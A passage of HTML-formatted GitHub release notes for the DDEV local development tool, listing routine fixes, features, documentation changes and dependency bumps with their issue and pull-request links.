<li>fix(nginx): suppress favicon.ico and robots.txt 404 logs, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2869143534" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7010" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7010/hovercard" href="https://github.com/ddev/ddev/issues/7010">#7010</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624409272" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8461" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8461/hovercard" href="https://github.com/ddev/ddev/pull/8461">#8461</a></li>
<li>fix(ssh): use RawCmd to avoid double-sourcing bashrc, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1835843764" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/5232" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/5232/hovercard" href="https://github.com/ddev/ddev/issues/5232">#5232</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624030279" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8460" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8460/hovercard" href="https://github.com/ddev/ddev/pull/8460">#8460</a></li>
<li>docs: install util-linux-extra in Docker setup, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332343177" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8350" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8350/hovercard" href="https://github.com/ddev/ddev/issues/8350">#8350</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4666141620" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8480" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8480/hovercard" href="https://github.com/ddev/ddev/pull/8480">#8480</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4666141620" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8480" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8480/hovercard" href="https://github.com/ddev/ddev/pull/8480">#8480</a></li>
<li>feat: improve ddev list/describe table layout, add OSC 8 terminal hyperlinks, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1991790083" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/5535" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/5535/hovercard" href="https://github.com/ddev/ddev/issues/5535">#5535</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2249382464" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/6113" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/6113/hovercard" href="https://github.com/ddev/ddev/issues/6113">#6113</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4653278220" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8474" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8474/hovercard" href="https://github.com/ddev/ddev/pull/8474">#8474</a>)  [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4653278220" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8474" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8474/hovercard" href="https://github.com/ddev/ddev/pull/8474">#8474</a></li>
<li>fix: skip OS-generated metadata files in custom-config detection and .ddev/.gitignore, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4475692720" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8418" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8418/hovercard" href="https://github.com/ddev/ddev/issues/8418">#8418</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4665439123" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8478" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8478/hovercard" href="https://github.com/ddev/ddev/pull/8478">#8478</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4665439123" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8478" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8478/hovercard" href="https://github.com/ddev/ddev/pull/8478">#8478</a></li>
<li>fix(mutagen): detect missing docker CLI early, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614824791" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8457" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8457/hovercard" href="https://github.com/ddev/ddev/issues/8457">#8457</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4665774207" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8479" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8479/hovercard" href="https://github.com/ddev/ddev/pull/8479">#8479</a></li>
<li>docs(docker): add troubleshooting for permission denied, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4645427389" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8471" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8471/hovercard" href="https://github.com/ddev/ddev/issues/8471">#8471</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4675675317" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8483" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8483/hovercard" href="https://github.com/ddev/ddev/pull/8483">#8483</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4675675317" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8483" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8483/hovercard" href="https://github.com/ddev/ddev/pull/8483">#8483</a></li>
<li>test(quickstart): update shopware6 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4675529151" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8482" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8482/hovercard" href="https://github.com/ddev/ddev/pull/8482">#8482</a></li>
<li>fix: warn when CAROOT is set but CA files are inaccessible, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4677876085" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8485" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8485/hovercard" href="https://github.com/ddev/ddev/issues/8485">#8485</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4678327612" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8486" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8486/hovercard" href="https://github.com/ddev/ddev/pull/8486">#8486</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4678327612" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8486" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8486/hovercard" href="https://github.com/ddev/ddev/pull/8486">#8486</a></li>
<li>fix(tui): prevent docker/cli stdin from consuming TUI shortcuts, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4562065445" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8440" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8440/hovercard" href="https://github.com/ddev/ddev/issues/8440">#8440</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4685382113" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8489" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8489/hovercard" href="https://github.com/ddev/ddev/pull/8489">#8489</a></li>
<li>fix: add /usr/local/n/bin to sudo secure_path, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4685293783" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8488" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8488/hovercard" href="https://github.com/ddev/ddev/issues/8488">#8488</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4685872989" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8490" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8490/hovercard" href="https://github.com/ddev/ddev/pull/8490">#8490</a></li>
<li>fix(start): show warnings from log-stderr.sh on start, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4563471219" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8441" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8441/hovercard" href="https://github.com/ddev/ddev/issues/8441">#8441</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4675066040" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8481" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8481/hovercard" href="https://github.com/ddev/ddev/pull/8481">#8481</a></li>
<li>build(deps): bump go dependencies, migrate to go-github v88 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4694258253" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8492" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8492/hovercard" href="https://github.com/ddev/ddev/pull/8492">#8492</a></li>
<li>test(quickstart): pin <code>@sveltejs/adapter-node@5.5.4</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4701858950" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8497" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8497/hovercard" href="https://github.com/ddev/ddev/pull/8497">#8497</a></li>
<li>test(docs): Ignore link check URLs [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4702819191" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8499" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8499/hovercard" href="https://github.com/ddev/ddev/pull/8499">#8499</a></li>
<li>build: bump actions/checkout from 6 to 7 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4718149342" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8504" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8504/hovercard" href="https://github.com/ddev/ddev/pull/8504">#8504</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4718149342" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8504" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8504/hovercard" href="https://github.com/ddev/ddev/pull/8504">#8504</a></li>
<li>fix: restrict XDG_CONFIG_HOME to Linux, add DDEV_XDG_CONFIG_HOME for cross-platform overrides, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4694586960" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8493" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8493/hovercard" href="https://github.com/ddev/ddev/issues/8493">#8493</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4694816575" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8494" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8494/hovercard" href="https://github.com/ddev/ddev/pull/8494">#8494</a></li>
<li>fix(webserver): prevent recursion in global web command wrappers, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2790468327" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/6902" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/6902/hovercard" href="https://github.com/ddev/ddev/pull/6902">#6902</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4701412145" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8495" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8495/hovercard" href="https://github.com/ddev/ddev/pull/8495">#8495</a></li>
<li>fix(nodejs): always install gulp-cli and yarn, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4701417432" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8496" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8496/hovercard" href="https://github.com/ddev/ddev/issues/8496">#8496</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4702408419" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8498" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8498/hovercard" href="https://github.com/ddev/ddev/pull/8498">#8498</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4702408419" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8498" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8498/hovercard" href="https://github.com/ddev/ddev/pull/8498">#8498</a></li>
<li>feat(windows): support Debian and Kali WSL2 distros in GUI installer, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559357943" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8439" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8439/hovercard" href="https://github.com/ddev/ddev/issues/8439">#8439</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4641003281" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8468" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8468/hovercard" href="https://github.com/ddev/ddev/issues/8468">#8468</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4632394063" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8464" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8464/hovercard" href="https://github.com/ddev/ddev/pull/8464">#8464</a></li>
<li>build: Fix gomt error that crept in [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4721491247" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8509" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8509/hovercard" href="https://github.com/ddev/ddev/pull/8509">#8509</a></li>
<li>test: Add script to compare start time performance [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4721622618" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8510" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8510/hovercard" href="https://github.com/ddev/ddev/pull/8510">#8510</a></li>
<li>test(quickstart): remove pin for <code>@sveltejs/adapter-node</code>, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4701858950" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8497" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8497/hovercard" href="https://github.com/ddev/ddev/pull/8497">#8497</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4723621004" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8511" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8511/hovercard" href="https://github.com/ddev/ddev/pull/8511">#8511</a></li>
<li>ci(github): add brew sandbox setup, remove obsolete env, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4642259004" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8469" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8469/hovercard" href="https://github.com/ddev/ddev/pull/8469">#8469</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4724822655" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8512" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8512/hovercard" href="https://github.com/ddev/ddev/pull/8512">#8512</a></li>
<li>fix(mysql): guard ENV HOME injection to db context only, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4721459214" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8508" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8508/hovercard" href="https://github.com/ddev/ddev/issues/8508">#8508</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4725527190" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8513" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8513/hovercard" href="https://github.com/ddev/ddev/pull/8513">#8513</a></li>
<li>fix(docker): do not cache build on start, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4549207054" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8433" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8433/hovercard" href="https://github.com/ddev/ddev/issues/8433">#8433</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4718896990" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8506" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8506/hovercard" href="https://github.com/ddev/ddev/pull/8506">#8506</a></li>
<li>feat(drupal): Support new dr command built into drupal11.4+, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4710077190" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8500" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8500/hovercard" href="https://github.com/ddev/ddev/issues/8500">#8500</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4720878653" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8507" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8507/hovercard" href="https://github.com/ddev/ddev/pull/8507">#8507</a></li>
<li>fix(dbeaver): Add flatpak user binary path to search list, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4727881183" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8517" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8517/hovercard" href="https://github.com/ddev/ddev/issues/8517">#8517</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nickchomey/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nickchomey">@nickchomey</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4727903372" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8518" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8518/hovercard" href="https://github.com/ddev/ddev/pull/8518">#8518</a></li>
<li>refactor(auth-ssh): remove build step, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4711855724" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8501" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8501/hovercard" href="https://github.com/ddev/ddev/issues/8501">#8501</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4716695362" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8503" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8503/hovercard" href="https://github.com/ddev/ddev/pull/8503">#8503</a></li>
<li>feat: allow mutagen with use-hardened-images, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1163134802" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/3680" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/3680/hovercard" href="https://github.com/ddev/ddev/pull/3680">#3680</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4685988680" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8491" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8491/hovercard" href="https://github.com/ddev/ddev/pull/8491">#8491</a></li>
<li>feat(docker): respect docker-buildx from snap on linux, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4727709566" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8515" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8515/hovercard" href="https://github.com/ddev/ddev/issues/8515">#8515</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4728073401" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8519" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8519/hovercard" href="https://github.com/ddev/ddev/pull/8519">#8519</a></li>
<li>docs: replace newgrp with sg for docker group activation, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332343177" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8350" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8350/hovercard" href="https://github.com/ddev/ddev/issues/8350">#8350</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4736396280" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8524" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8524/hovercard" href="https://github.com/ddev/ddev/pull/8524">#8524</a></li>
<li>fix(commands): correct case typo in <code>ddev sequelace</code>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4733613998" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8521" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8521/hovercard" href="https://github.com/ddev/ddev/issues/8521">#8521</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4733715228" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8522" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8522/hovercard" href="https://github.com/ddev/ddev/pull/8522">#8522</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mficzel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mficzel">@mficzel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4733715228" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8522" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8522/hovercard" href="https://github.com/ddev/ddev/pull/8522">#8522</a></li>
<li>build(deps): bump moby and docker-compose by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4736239790" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8523" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8523/hovercard" href="https://github.com/ddev/ddev/pull/8523">#8523</a></li>
